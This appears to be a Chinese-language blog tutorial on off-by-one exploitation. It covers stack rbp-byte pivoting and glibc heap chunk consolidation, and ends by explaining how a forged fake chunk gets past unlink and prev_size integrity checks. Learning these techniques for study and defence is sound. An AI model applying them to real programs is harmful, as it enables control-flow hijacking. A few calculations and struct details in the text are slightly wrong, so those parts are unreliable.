PWN入门——OffByOne遇险

admin 2025年5月21日02:10:43评论7 views字数 57657阅读192分11秒阅读模式

什么!只越界了1个字符也能PWN?

在内存溢出的场景下,我们一般都会假设这样一个事情,即可以越界写入很多数据。


栈溢出下的OffByOne

以栈溢出为例,我们不仅需要填充本地缓冲区变量,还需要一直覆盖到rbp + 0x8rbp + 0x10的位置,因为rbp + 0x8rbp + 0x10之间的区域,存放的是被调用函数的返回地址,来方便我们控制程序的执行流程。


但是,根据一则江湖传闻来讲,只溢出1个字节时,也可能导致rip被控制。


产生这种的情况的原因,通常来自与GLibC中两个坑爹函数的特性。


令人误解的库函数

首先strcpystrlen是C语言中两个非常常用的函数,其中strlen接受一个字符串指针作为参数,它会返回字符串中可用字符的数量,其中由于作为结束标识符存在,不会看作是可用字符。


strcpy函数接受两个字符串指针作为参数,指针2中的数据会被复制到指针1当中,复制的数据包含可用字符和结束标识符,坑爹的场景就此诞生。


#define BUF_MAX		10
char data[BUF_MAX];
char* buf = "AAAAAAAAAA"; -> buf = 10 * 'A' + 1 * ''
int len = strlen(buf); -> len = 10
if (len <= BUF_MAX) {
strcpy(data, buf); -> data = "AAAAAAAAAA" -> '' overflow
}


如果你有strlen检查一个字符串,这个字符串的可用字符刚好等于上限大小,那么你检查时就会发现字符串的长度符合要求,此刻在你的潜意识中,使用strcpy不会导致溢出,但是由于strcpy一块复制,所以会导致变量溢出一个字节。


64位系统下strcpy的有效性

在64位系统当中,地址一般占用48位比特空间,所以地址一般由12个十六进制数字组成,又因为常见的系统使用的都是小端字节序,所以64位地址中高位为0x0000的字节会位于低位地址,所以如果数据中存在地址,那么因为strcpy遇到的特性,就会导致复制的字符串被截断而不全,此时可能无法造成Off By One的情况。


addres = 0x00007fff44332211
char* tmp = "AAAA11223344ff7f0000BBBBB"
strcpy(data, tmp)
    -> data = "AAAA11223344ff7f"


另类栈迁移

假如缓冲区变量上方存放着调用者的rbp,且缓冲区变量只溢出一个字节时,那么被调用函数rbp的最低字节位就会被覆盖。


caller ret |
| callee rbp |
caller rbp |
| buffer var |


此刻,在程序执行leaveret指令时,会产生一次栈迁移。


strcpy -> change [callee rbp] from 0x4050AA ->0x405000
leave
-> mov rbp, rsp
-> pop rbp -> new rbp = 0x405000
ret
-> pop rip -> caller return address


返回调用函数后,调用函数会直接使用被篡改的rbp,当调用函数返回时,leave指令会将rsp变成broken rbp + 0x8ret根据*(rsp)获取新的rip


caller function -> current rbp = 0x405000
-> leave
-> mov rbp, rsp -> new rsp = 0x405000
-> pop rbp -> new rbp = *(0x405000) && rsp + 0x8
-> ret
-> pop rip -> new rip = *(0x405008)


这个时候,rip就落入了我们的控制范围内。


但是我们能控制被篡改的broken rbp上面的数据吗?


新RBP保存的数据可控吗?

这个问题的答案并不唯一,因为被破坏的broken rbp只有在部分场景下可控的。


下面的两条之类是一个非常典型的函数序言,序言先将rsp变成本函数的rbp,在通过sub指令分配栈空间。


*(callee rbp)覆盖时,*(callee rbp)的低位字节肯定是固定的,而且*(callee rbp)的范围也是固定的,这个范围是0xXXXXFF0xXXXX00


mov    %rsp,%rbp
sub    $0x20,%rsp


所以只要分配的缓冲区大小,可以让被调用函数的rsp到达0xXXXX00以下的区域,且被调用函数的callee rbp位于0xXXXX08以上的区域时,我们就可以向缓冲区变量中填充恶意地址,让ret指令将恶意地址弹出到当前程序指针寄存器rip中,并让程序开始执行。


caller rbp      | rbp
| ......          |
| hacker location | 0xXXXX08
| ......          | lowest address -> 0xXXXX00
| ......          |
| rsp = rbp - xxx |


想要在ret通过*(rsp)获取新rip时,还要面临一个问题,就是受ASLR机制影响的动态地址,虽然函数栈大小通常是固定的,但栈地址往往是不固定的,你可能需要一个明确的栈地址,才可以完成利用。


当前,如果调用者的rbp的最低字节本来就是0x00,那么这种溢出就毫无意义。


对齐难题!

在现代64位的Linux系统中的,64位程序的rsp一般都要求和0x10对齐,但经过完整的Off By One利用链,rsp地址都会变成0xXXXX08,这个地址显然是不符合对齐要求的,所以想要完成利用,还需要处理地址对齐的问题。


堆场景下的OffByOne

通过上面对栈溢出下的OffByOne利用描述,我们可以知道,OffByOne的产生有两个条件,一是源字符串和目标缓冲区变量的大小一致,二是使用类似strcpy这样的坑爹函数,在复制时会默认将源字符串的结束字符一块复制过来,当源字符串中的可用字符已经填满缓冲区变量时,就成了压死骆驼的最后一根稻草。


栈溢出下的OffByOne处处受限,那堆溢出场景下呢?


chunk内存布局的特性

提到堆内存就离不开malloc_chunk结构体,它是与堆内存联系最紧密的数据结构。


struct malloc_chunk {
    INTERNAL_SIZE_T mchunk_prev_size; 
    INTERNAL_SIZE_T mchunk_size;
struct malloc_chunk* fd;
struct malloc_chunk* bk;
struct malloc_chunk* fd_nextsize;
struct malloc_chunk* bk_nextsize;
};


结构体存在着两个相似元素,一是mchunk_size,二是mchunk_prev_size,它们不只名字相似,而且这两个变量所属的数据类型也是一致的。


其实你也可以说,struct malloc_chunk中其他的几个成员也是相似的,之所以特意提及mchunk_sizemchunk_prev_size,是因为它们是极其特殊的。


这个特殊性体现在struct malloc_chunk使用阶段和空闲阶段的使用上。


在正常的印象中,struct malloc_chunk中的全体成员都应该是不能被占用的,但或许是为了减少不必要的内存开销,向fdxxbkxx这样只在chunk处于空闲状态时才会被使用的成员,在chunk被使用时,就会当作普通的数据区来使用。


chunk在使用时,malloc_chunk只有mchunk_sizemchunk_prev_size两个成员被使用,size成员的上方不再是fd,直接就是数据存放的起始地址。


| ......             |
data 2             |
| mchunk_size 2      |
| mchunk_prev_size 2 |
data 1             |
| mchunk_size 1      |
| mchunk_prev_size 1 |

struct malloc_chunk {
    INTERNAL_SIZE_T mchunk_size; 
    INTERNAL_SIZE_T mchunk_prev_size;
}


乱入的比特位

struct malloc_chunk中的mchunk_sizemchunk_prev_size成员,还有一个特殊的属性,那就是它们低三个比特位的空间对大小数值来讲应该永远都为0,因为在实际情况中,低三个比特位空间会被当做标志位空间来使用。


mchunk_sizemchunk_prev_size对应的真实大小为size & b111...000


#define PREV_INUSE 		0x1		上一个chunk是否可以被使用
#define IS_MMAPPED 0x2 是否由mmap分配
#define NON_MAIN_ARENA 0x4 是否属于主线程


request2size的作用

我们已经知道了一个事实,那就是程序在通过GLibC申请堆内存时,GLibC的内部会通过request2size接口,将申请内存与对齐值对齐。


但是32位和64位程序申请的内存经过request2size转换后,产生的效果并不一样。

那么原因是什么呢?


首先程序申请的内存大小req,它会向下跟MALLOC_ALIGNMENT对齐,但得到的对齐值可能是小于实际申请大小的,这样肯定不行。


MALLOC_ALIGN_MASK2^n - 1,取反后低n个比特位均为0,源数值跟它进行与运算后,源数值的低n个比特位也会变成0,要知道对齐是什么,被对齐后的数值可以被对齐值整除,清除低n个比特位刚好满足这一特点。


为了内存向下对齐时,对齐值至少也要大于等于申请内存,所以request2size会在req的基础上加上SIZE_SZ + MALLOC_ALIGN_MASK


该值是大于MALLOC_ALIGNMENT并且小于2 * MALLOC_ALIGNMENT的,当req加上补充值之后,再进行对齐得到的内存大小就是大于等于申请的内存了。


#define MALLOC_ALIGNMENT		2 * SIZE_SZ
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
#define request2size(req)
    (((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
-> (((req) + 3 * SIZE_SZ - 1) &  ~(2 * SIZE_SZ - 1))


扩大后的内存值可能会超出离原申请内存大小向上对齐时最近的数值,因此实际申请到的内存值不是离原申请值最近的向上对齐值。


malloc ->252 bytes
32
-> request2size -> recevie bytes = 252
-> recent align value = 256264
-> output bytes = (252 + 11) & (~7) = (263) & (~7) = 256
64
-> request2size -> recevie bytes = 252
-> recent align value = 256272
-> output bytes = (252 + 23) & (~15) = (275) & (~7) = 272


利用缺口的产生

申请的内存大小经过request2size对齐后会产生两种结果,一是让申请大小向上对齐到最近的数值A,二是让申请大小向上对齐到第二近的数值B。


对齐数值的差异,原因就源自于request2size宏,该宏会在申请值的基础上加上一个偏移值,当申请值+偏移值得到的最终值再向下对齐时,就会产生实际内存比申请值还有小的情况了。


这个偏移值就是SIZE_SZ + MALLOC_ALIGN_MASK,当前申请大小加上便宜时,最小值肯定会超过数值A,最大也不会超过向上对齐时的第三近数值C,所以向下对齐后最大也就是数值B。


SIZE_SZ = 8
MALLOC_ALIGNMENT = 2 * SIZE_SZ = 0x10

SIZE_SZ + MALLOC_ALIGN_MASK = 3 * SIZE_SZ - 1

malloc (n * 0x10) + x, 0 < x <= 8
-> request2size
-> ((n * 0x10) + x) + (3 * 8 - 1) & (~15)
-> ((n * 0x10) + Y) & (~15), 0x10 < Y < 2 * 0x10
->return ((n + 1) * 0x10)
malloc (n * 0x10) + x, 8 < x < 2 * 8
-> request2size return ((n + 2) * 0x10)


当申请内存通过request2size向上对齐时得到是最近数值时,就会产生一个有趣的现象,因为使用阶段mchunk_sizemchunk_prev_size会占用chunk的0x10字节的内存空间,所以数据区域可以使用的大小等于申请到的内存大小减去0x10。


如果申请到的内存大小是第二近的对齐值(向上)时,就不会有问题,因为相当于多出MALLOC_ALIGNMENT大小的空间留给mchunk_sizemchunk_prev_size


所以这个时候数据区可以使用的内存大小还是小于程序最初申请大小的,如果程序还是用最初申请大小进行判断,当前chunk的下一个chunk中部分信息被覆盖。


next chunk被覆盖的大小为x


malloc (n * 0x10) + x, 0 < x <= 8
->get ((n + 1) * 0x10)
-> data range -> (n * 0x10)
-> (n * 0x10) < (n * 0x10) + x


x小于8时,next chunkmchunk_prev_size会被部分篡改,当x等于8时,Off By One场景就会发生,此时不止mchunk_prev_size会被完全覆盖,而且next chunkmchunk_size的最低字节也会被覆盖。


data             |
| mchunk_size      |
| mchunk_prev_size | -> next chunk start
data             |
| mchunk_size      |
| mchunk_prev_size | -> current chunk start


嗯,OffByOne发生时,mchunk_prev_sizemchunk_size成员是最容易被影响的,这两个最常被用在什么地方,又有什么利用机会呢。


不太复杂的释放时合并流程

在GLibC的堆管理概念中,一个chunk被释放时,为了尽可能避免碎片化的内存,它可能会和已存在的空闲chunk合并。


chunk的合并只有在非fastbin以及非mmap分配的情况下才会产生。


#define chunk_is_mmapped(p) ((p)->mchunk_size & IS_MMAPPED)

_int_free
    -> mchunkptr nextchunk = chunk_at_offset(p, size);
    -> if ((unsignedlong)(size) <= (unsignedlong)(get_max_fast ()))
        -> ......
    -> else if (!chunk_is_mmapped(p))
        -> ......


合并流程有一个特点,那就是它与mchunk_prev_sizemchunk_size的值高度关联,这两个成员的数值直接影响着chunk释放时的合并流程。


向后合并(高内存地址为正方向)

chunk在合并时,会先进入_int_free_merge_chunk函数,它先判断当前chunk的mchunk_size中的标志位P,如果P为0,就代表上一个chunk是空闲的,所以该chunk可以和上一个chunk合并,这时GLibC继续进入unlink_chunk函数。


上一个chunk位于当前chunk的下方,此时合并低地址的chunk属于负方向,所以也被称作是向后合并。


当然进入unlink_chunk之前,_int_free_merge_chunk会更新当前chunk,更新的目的是为了合并上一个chunk,所以更新的步骤分成两个部分,一是更新大小,二是更新指向当前空闲chunk的指针p


大小吗,就是当前chunk的大小再加上上一个chunk的大小,上一个chunk的大小被记录在当前chunk的mchunk_prev_size成员中,至于指针吗,chunk都是相邻的,当前指针减去上一个chunk的大小后,新指针就指向上一个chunk了。


fd指针或bk指针中保存的chunk都未必是相邻的chunk,那它们进行合并并不一定合适,但根据mchunk_prev_size减去的地址就一定靠谱。


#define prev_size(p)			((p)->mchunk_prev_size)
#define prev_inuse(p) ((p)->mchunk_size & PREV_INUSE)
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))

_int_free
-> mchunkptr nextchunk = chunk_at_offset(p, size);
->if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()))
-> ......
->else if (!chunk_is_mmapped(p))
-> _int_free_merge_chunk
->if (!prev_inuse(p))
-> prevsize = prev_size (p);
-> size += prevsize;
-> p = chunk_at_offset(p, -((long) prevsize));
-> unlink_chunk
-> size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
-> _int_free_maybe_consolidate (av, size);


unlink_chunk的操作并不复杂,主要是将上一个空闲chunk从链表中解放出来。


合并完上一个chunk后(当前chunk的向后合并)会进入_int_free_create_chunk的内部继续合并。


向前合并

向前合并,指的就是当前chunk与处于高地址的nextchunk的合并流程。


nextchunk的查找由_int_free_merge_chunk函数负责,因为chunk相邻的关系,所以我们可以轻松的根据当前chunk指针和大小得到next chunk的起始地址。


_int_free_merge_chunk
    -> mchunkptrnextchunk = chunk_at_offset(p, size)


_int_free_create_chunk拿到next chunk后,会先跟arena中的top chunk指针进行比较,如果发现next chunk就是top chunktop chunk一定是空闲的,所以就会将当前chunk与top chunk进行合并。


由于top chunk并不会存放在链表中,所以也不需要经过unlink_chunk


_int_free_create_chunk
->if (nextchunk != av->top)
        ......
->else
-> size += nextsize;
-> av->top = p;


如果发现next chunk不是top chunk,就会检查next chunk的下一个chunk的mchunk_sizemchunk_size的标志位P记录的都是上一个chunk的使用状态)中的标志位P,是0就说明nextchunk空闲,会对nextchunk进行向后合并,然后通过unlink_chunknextchunk从链表中释放出来。


如果P位是1,那就会通过clear_inuse_bit_at_offset宏直接将next chunkmchunk_size中的P位设置成0,相当于告诉next chunk,当前chunk已经被释放了,后面轮到next chunk释放时,就可以对当前chunk进行向后合并。


但是不管nextchunk是不是空闲的,在nextchunk不是top chunk的情况下,负责向前合并的_int_free_create_chunk函数都会将当前空闲chunk(当前chunk可能已经吞掉了prev chunknext chunk)放到unsorted bins链表中。


_int_free_create_chunk
->if (nextchunk != av->top)
->bool nextinuse = inuse_bit_at_offset (nextchunk, nextsize);
->if (!nextinuse)
->unlink_chunk (av, nextchunk);
-> size += nextsize;
->else
->clear_inuse_bit_at_offset(nextchunk, 0);
-> mchunkptr bck = unsorted_chunks (av);
-> mchunkptr fwd = bck->fd;
-> p->fd = fwd;
-> p->bk = bck;
-> bck->fd = p;
-> fwd->bk = p;
->else
        ......


当然,你可能会好奇nextchunk就一定是未被使用的吗,万一它在使用状态时被当成空闲chunk怎么办呢!


首先nextnextchunkmchunk_size中的P位为0时,就代表nextchunk是空闲的,合并不会带来风险,当P位为1时,也只更新nextchunkmchunk_size的P位为0,告诉nextchunk当前chunk是可以被合并的。


chunk合并的总结

总的来讲,发现chunk是以非mmap方式分配时,会产生两种合并方式,一是检查当前chunk的mchunk_sizePREV_INUSE位,当前一个chunk空闲时,当前chunk就会合并prev chunk,因为堆是向高位地址增长的,所以也被称作是向后合并。


完成向后合并会继续进入_int_free_create_chunk函数,对nextchunk进行向前合并,这里分成两大种情况,情况一是发现nextchunk就是top chunk,那么这个时候会完成top chunk合并当前chunk的操作。


情况二复杂一些,因为它又分成两种情况,情况的分类是根据nextchunk的状态进行区分的,每个chunk的mchunk_size成员会记录上一个chunk的是否空闲INUSE信息,所以函数会通过nextnextchunk检查nextchunk


nextchunk空闲时会直接将它合并,反之会将nextchunkmchunk_size成员的标志位P设置成0,告诉nextchunk当前chunk已经处于空闲状态。


| top chunk     |-> pointing to new current chunk
| ......        |
| next chunk    |-> prev &&current && next merge to top chunk /&& next merge to current chunk /update PREV_INUSE, let nextchunk konw current chunk has beenn free
|current chunk |-> PREV_INUSE ==0 ->merge prev chunk by unlink_chunk ->update current chunk to prev chunk &&update size
| prev chunk    |


在负责chunk合并的_int_free_merge_chunk函数中,会检查当前释放的chunk是否为top chunk,在之前对于堆内存的申请以及扩大情况的了解中,我们就知道了位于最顶部top chunk始终处于空闲状态,请时会先从top chunk获取可用的内存,所以top chunk没有释放一说。


_int_free_merge_chunk
->if (__glibc_unlikely (p == av->top))
->malloc_printerr ("double free or corruption (top)")


从上面我们了解到了,堆场景下OffByOne影响着struct malloc_chunk的成员,以及这两个成员在合并过程中发挥的作用,但是漏洞又是如何产生的呢?


出师未捷身先死

假设chunk 1通过malloc接口申请了(n * 0x10) + 8字节的内存,那么GLibC实际会给程序返回((n + 1) * 0x10)大小的内存。


实际存放数据的大小为(n * 0x10),比预期小了8字节。


此时程序通过strcpy接口向变量复制数据,被复制数据为"AAA...",其中字符A(n * 0x10) + 8个,显然这样会导致缓冲区变量溢出9个字节。


chunk 2mchunk_prev_size被覆盖成AAAAAAAAmchunk_size的最低字节会被覆盖,相当于chunk 2mchunk_size的标志位P位被置0。


如果chunk 2被释放,且chunk 1尚未被释放,那么这个时候会发生什么呢?


| data               |
| mchunk_size 2      | -> XXXX00
| mchunk_prev_size 2 | ->"AAAAAAAA"
| AAAA ......        |
| mchunk_size 1      |
| mchunk_prev_size 1 |


chunk 2会进入_int_free_merge_chunk,并检查mchunk_size的P位,这时会发现尚未被释放的chunk 1可以被自己合并。


嗯,意外开始产生了。


通过chunk_at_offset将当前指针从chunk 2移到chunk 1时,真正的危险也来了,变更过的新指针p会进入unlink_chunk函数的内部。


_int_free_merge_chunk
->if (!prev_inuse(p))
-> INTERNAL_SIZE_T prevsize = prev_size (p);
-> p = chunk_at_offset(p, -((long) prevsize));
->unlink_chunk (av, p);


unlink_chunk函数内部会出现*(p+xxxx) = xxxx的语句(xx->xx = xx),我们可以说这是一个很平常的赋值操作,也可以说这是一个极其危险的操作。


当chunk被释放时,struct malloc_chunk中的fdxxbkxx成员会正式被启用且更新,因为这些成员负责接入链表当中。


但当chunk 1尚未被释放且进入unlink_chunk时,那么malloc_chunk结构体中的fdxxbkxx数据就还没有被更新,*(p+xxxx) = xxxx会直接使用chunk上存储的数据作为读取和写入的来源。


unlink_chunk
-> mchunkptr fd = p->fd;
-> mchunkptr bk = p->bk;
-> fd->bk = bk;
-> bk->fd = fd;
->if (!in_smallbin_range (chunksize_nomask (p)) ...)
-> fd->fd_nextsize = xxx
-> fd->bk_nextsize = xxx
    ......


当chunk上放置的是恶意地址时,就会构成任意地址读写。


chunk 1 overflow 8 * 'A' + ''
-> chunk 2 -> mchunk_size.PREV_INUSE == 0 -> chunk 1 can merge
-> chunk 2 free
-> find chunk 1 can merge
-> chunk 1 fdxx && bkxx without reset to bins list
-> xx->xx = xx ->use chunk 1 data
-> can control xx->xx = xx


再假设一下,chunk 1溢出了0x10字节,那么不知mchunk_prev_size会被完全控制,而且mchunk_size也会被完全控制。


控制chunk 2mchunk_size,说废话就是拥有了控制chunk 2大小的能力,比如让chunk 2直接包含chunk 3,乃至地址更高的chunk,如果chunk 3还是已分配的状态,那么就会被chunk 2强制拉到了未分配的区域。


| AAAA ......        |
| mchunk_size 3      |
| mchunk_prev_size 3 | -> chunk 3
| AAAA ......        |
| mchunk_size 2      |
| mchunk_prev_size 2 | -> chunk 2
| AAAA ......        |
| mchunk_size 1      |
| mchunk_prev_size 1 | -> chunk 1


可靠的覆写地址

如果想要完成利用获取Shell呢,有两个比较好的覆写点,一是got表项,但是got表项可能是只读的,二是tls_dtor_listexit_function变量。


在常规的影响中,程序退出时会调用GLibC的exit函数进行退出,在常规情况下,退出函数并不会做什么特别的操作,但如果注册过特殊的函数那就不一样了。


最常见的特殊退出函数注册机制就是atexit机制,GLibC提供atexit接口,该接口接受函数指针作为参数,并来到__internal_atexit


它先通过__new_exitfn分配新的exit_function,并将新exit_function插入__exit_funcs链表中。


回到__internal_atexit后,会给新的exit_function填充数据。


static struct exit_function_list initial;
struct exit_function_list *__exit_funcs = &initial;

atexit
-> __cxa_atexit
-> __internal_atexit
-> new = __new_exitfn (__exit_funcs);
-> new->func.cxa.fn = (void (*) (void *, int)) func;


atexit机制还会利用.fini_array节,GlibC提供__attribute__关键字,当该关键字和destructor合作时,编译器会将函数注册到.fini_array节中。


程序在初始化启动的过程中,会进入LIBC_START_MAIN函数,该函数的作用是主动注册call_fini作退出函数,而call_fini的作用是遍历.fini_array节,并调用.fini_array节中存储的函数。


__attribute__ ((destructor))
voidxxx (void) {}
    -> .fini_array [xxx, ...]
LIBC_START_MAIN
    -> __cxa_atexit (call_fini, NULLNULL);


当程序退出进入exit函数时,它会先进入__run_exit_handlers的内部查找已经注册的退出函数,它先通过__call_tls_dtors函数遍历tls_dtor_list全局变量,最后再遍历exit_function_list全局变量。


exit
-> __run_exit_handlers (status, &__exit_funcs, truetrue);
-> __call_tls_dtors
-> exit_function_list

t

ls_dtor_listexit_function_list都是全局变量,它们的区别是什么呢?


exit_function_list对整个进程有效,而tls_dtor_list只针对线程有效。


__cxa_thread_atexit_impl
    -> struct dtor_list *new = calloc (1sizeof (struct dtor_list))
    -> new->func = func


除了__cxa_atexit,你其实还可以发现有针对C++产生的__cxa_finalize,它被提供给析构函数,在析构函数退出时执行。


显然,利用这些全局变量有一个最大的好处,就是它们不仅可读可写,而且当退出程序发生时,就一定会被执行。


残酷的现实

现实往往不是那么友好的,针对unlink_chunk的利用方法很早就存在了,GLibC也针对这些问题进行了加固。


unlink_chunk在进行向前合并时,会检查链表是否正确,这个检查只会出现在较新版本的GLibC中,所以这种利用方法已经失效了。


unlink_chunk
-> fd = p->fd
-> bk = p->bk
->if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
->malloc_printerr ("corrupted double-linked list");


除了这个检查之外,_int_free_merge_chunk函数在进入unlink_chunk之前,检查chunk 2保存的mchunk_prev_sizechunk 1保存的mchunk_size是否一致,如果不一致就说明有问题会抛出错误。


_int_free_merge_chunk
->if (!prev_inuse(p))
-> p = chunk_at_offset(p, -((long) prevsize));
->if (__glibc_unlikely (chunksize(p) != prevsize))
->malloc_printerr ("corrupted size vs. prev_size while consolidating");
->unlink_chunk (av, p);


关于漏洞的反思

尽管上面的利用方法已经失效了,但是并不应该影响我们思考漏洞是如何产生的,调试方法是调试器也好,亦或者说依赖源代码与打印也罢,调试最基本的需求都是尽可能的建立系统、指令、源程序之间的关系,调试器以来DWARF和ELF定义还原信息,优点是利用操作获取结果的方式更加智能,而源代码与打印的方式,虽然语义信息是原生的,但是操作起来可能没有那么智能。


上面提到了漏洞,也提到了调试,它们之间又有什么关系呢?


调试方法帮助我们建立起低级指令与高级语义间的联系,但是这个东西就像一个二维平面一样,上面给出的示例中,合并操作与赋值语句都是极为常见的操作,但它们却在特定环境下出现了漏洞层面的联系,这种特定环境依赖于释放的时机与数据的构造。


以今天的眼光来看,理解这些漏洞与利用方式可能都不是什么困难的事情,因为我们可能只是承担了一个翻译机的角色,但是在我们真正去调试程序时,又应该在掌握高级语义的情况下,站在高维空间中洞察代码的数据结构中的漏洞呢?


检查绕过的初探

mchunk_prev_size控制着向后合并的范围,而mchunk_size则控制着向前合并的范围以及向后合并的可行性。


但是这两个数值是可以任意设置的吗?


mchunk_size设置成任意值时,不管通过公式p + mchunk_size得到的新地址是不是top chunk,造成的影响都是相似的。


如果当前chunk意外合并高地址的未释放chunk时,这些chunk的结局有两个,一是直接并入top chunk,二是合并进入空闲链表中。


但程序肯定还不知道这件事情,它可以继续从被动释放的chunk中读写数据,传统的UAF都是主动释放但指针未置零,因此这种情况可以算作是一种另类的UAF。


除了UAF风险外,我们还有可能从top chunk或链表中申请到已存在的chunk,毕竟程序眼中是释放了,但GlibC眼中还是空闲的,空闲chunk自然也就能再被分配出去。


至于如何被利用,实际上还是要取决于程序对chunk上数据的操作。


mchunk_prev_size设置成任意值时,影响的就是向后合并的范围,与向前合并时轻松不同,篡改mchunk_prev_size进行异常向后合并需要面对合并失败的情况。


a.chunk A向前合并相邻的chunk B


首先面临的是chunk大小的匹配检查。


因为相邻,所以chunk Bmchunk_size一定是chunk Bchunk A的偏移值,这与chunk Amchunk_prev_size是一致的。


chunk大小的匹配检查在这个时候不会发现问题。


合并相邻低地址的chunk是一句废话吗?因为好像本来也会合并。


这可能是废话,也可能不会是,当chunk B空闲时,chunk Amchunk_size的标志位P会是0,这个时候当然本来就应该合并。


但如果chunk B不空闲,且chunk Amchunk_size的标志位P被抹掉了,才会造成意外的合并。


b.chunk A向前合并非相邻的chunk B


chunk Amchunk_prev_size被篡改后,chunk A找到chunk B当然没有什么问题,但是能不能绕过大小匹配检查就是一个严重的问题了。


在理想中,chunk Amchunk_prev_sizechunk Bmchunk_size,指的都是chunk A相对于chunk B的偏移值,但在合并非相邻chunk时,这两数值的大小显然不会相同。


这个时候chunk大小的匹配检查在这个时候会发现问题。


除非chunk Bmchunk_size也被我们控制了。


◆向前合并时有两个检查,一是chunk的大小匹配检查,二是链表指针的检查.


此时我们假设检查1已经绕过,但是检查2又应该怎么绕过呢?


a. 在GlibC的bins链表中,有一个很有意思的特性,那就是初始元素的数值,初始数值帮助链表形成双向链表的特性,可以帮助我们完成利用。


bins数组在正式使用前会被初始化,初始化是为了变成循环链表,这与fast bin采用单向链表的策略有所不同。


bins数组存放着很多链表,bins数组每两个元素组成一个链表,bins数组会存放三种类型的链表,它们分别是unsorted binsmall bin以及large bin


bins数组中的bins[0]bins[1]是留给unsorted bin使用的,其余部分留给剩下的两种类型使用。


链表中的bins[(i - 1) * 2]代表fd成员领衔的后进先出链表。


链表中的bin[(i - 1) * 2 + 1]代表bk成员领衔的先进先出链表。


arena初始化时,GlibC会将数组中的元素初始化成bin = bin_at(M, i),该宏默认返回链表尾&bins[(i - 1) * 2] - offset(fd)


这个链表尾提供了一个很好的性质。


bin->fdbins[(i-1)*2]bin->bkbins[(i-1)*2 1],即初始数值可以检索到自身第i对链表,进而形成双向链表。


xxxx->xx = A
-> *(xxxx + xx) = A -> (xxxx + xx) = &A -> xxxx = &A - xx


因此只要被向前合并的chunk是链表中唯一的chunk,那么就可以绕过链表检查。


mchunkptr fd = p->fd;	-> fd = &bins[(i - 1) * 2] - offset(fd)
mchunkptr bk = p->bk; -> bk = &bins[(i - 1) * 2] - offset(fd)

if (fd->bk != p || bk->fd != p)
    malloc_printerr ......

fd->bk != p || bk->fd != p
-> fd->bk = bk->fd = bins[(i + 1) * 2 + 1] = p


但这么做好像也不对啊,被向前合并的chunk若本来就是链表中唯一的chunk,那就代表它原本就是空闲的啊,上面提到的做法本来就是符合链表规则的。


所以也就不存在合并未释放的chunk一说了。


b. 由于假设被向前合并的chunk需要是尚未释放的,但被强行拉进了合并流程中,所以chunk中fdxxbkxx肯定是还没有被赋值的,此时检查直接使用的就是chunk中的数据,这些可控的数据显然可以帮助我们完成利用。


由于我们可以控制p + fdp + bk的值,那么*(p + fd/bk)结果就可以指向恶意地址,那么p->fdp->bk就会落入我们设定好的目的地中。


更进一步的话fd->bkbk->fd的结果也可以被我们控制。


只不过这种恶意数据的构造需要花上不小的经历。


fd = p->fd -> *(p + fd)
bk = p->bk -> *(p + bk)
if (fd->bk != p || bk->fd != p)
    ......

(p->fd)->bk = *(*(chunk_addr + 0x10) + 0x18)
(p->bk)->fd = *(*(chunk_addr + 0x18) + 0x10)


常规检查绕过方法的悖论

◆先来看一下向前合并相邻chunk的情况,chunk B是被合并。


chunk A触发OffByOne时,chunk Amchunk_prev_size会被控制,我们可以定位到chunk B,这时chunk的大小匹配检查对我们是无效的。


但是进入unlink_chunk进行链表检查时,会面临不小的问题。


使用链表初始值特性进行绕过,chunk B就必须是链表中唯一的空闲chunk,这样的话就和chunk B未释放的前提有所冲突。


而构造chunk B上的数据需要面临地址泄露以及多处数据伪造的麻烦问题。



◆再看一下合并非相邻chunk的情况。


除非你既能控制chunk Bmchunk_size的数值,否则想要绕过chunk大小匹配检查基本就是空谈。


检查绕过的另外一种思路

我们假设这样的一种场景,当前有三个chunk,其中chunk 1chunk 2相邻,且位于更低的地址,同时chunk 1申请了0x38的内存大小。


至于chunk 3它位于比chunk 1chunk 2都更加低的地址上。


此时三个chunk都还没有被释放。


根据前面的学习我们可以知道,GLibC实际会给chunk 1分配0x40的内存的空间,其中还有0x10的空间给mchunk_sizemchunk_prev_size使用。


chunk 1的实际可用内存只有0x30,比预期少了0x8,具备触发OffByOne场景的条件,此刻我们通过read向缓冲区变量中写入0x38长度的数据,并在0x39处写入字符OffByOne场景就此触发。


chunk 1除了负责触发OffByOne之外,还需要在0x38空间的前0x10空间,写入两个相同的特殊地址,这个特殊地址就是chunk 3的数据区起始地址。


最后我们还要让chunk 1chunk 2mchunk_prev_size写入新的偏移值,这个偏移值就是chunk 2chunk 3数据区的距离。


完成之后,需要继续向chunk 3的数据区写入内容,我们至少需要0x20的空间,因为我们需要构造假的malloc_chunk结构体,但只需要前4个成员即可。


其中prev_size可以随便写,size需要写成chunk 2chunk 3数据区的偏移值,至于fdbk则需要写成chunk 1的起始地址。


| AAAA ......                  |
| mchunk_size 2                | -> overflow ''
| chunk2 to chunk3_data offset | -> mchunk_prev_size 2
| .......                      | -> chunk 1 data end
| addr_a, addr_a               | -> chunk 1 data start
| mchunk_size 1                |
| mchunk_prev_size 1           | -> chunk 1 start
| chunk ......                 | -> other chunks
| .......                      | -> chunk 3 data end
| chunk1_addr, chunk1_addr     | -> fake fd && bk
| prev_size, size              | -> chunk 3 data start = addr_a
| chunk2 to chunk3_data offset | -> mchunk_size 1
| mchunk_prev_size 1           | -> chunk 3 start


chunk 2释放时,GLibC的_int_free_merge_chunk函数检测的chunk 2mchunk_size中的P位为0,这时会开始向后合并。


通过前面利用chunk 1写入chunk 2mchunk_prev_size值后,我们可以让指针到达chunk 3的数据区,这时GLibC获取chunk 3的大小时,使用我们在数据区上构造的sizechunk 2mchunk_prev_sizechunk 3size都是被我们恶意构造的,所以它们的大小当然一样,GLibC的检查自然也不会发现问题。


当GLibC进入unlink_chunk函数后会对链表指针进行检查,这时GLibC会发现fdbk均为chunk 1的起始地址。


再进行if (fd->bk != p || bk->fd != p)检查时就会发现,由于chunk 1fdbk上的数据有被我们写入成了指向chunk 3数据区的地址addr_a,所以GLibC就不会发现错误。


如果你不给自己找麻烦的话,就应该控制向后合并时chunk的大小在small chunk的范围内,避免针对large bin链表的检查被触发。


p = addr_a
mchunkptr fd = p->fd; // fd = chunk1_addr
mchunkptr bk = p->bk; // bk = chunk1_addr
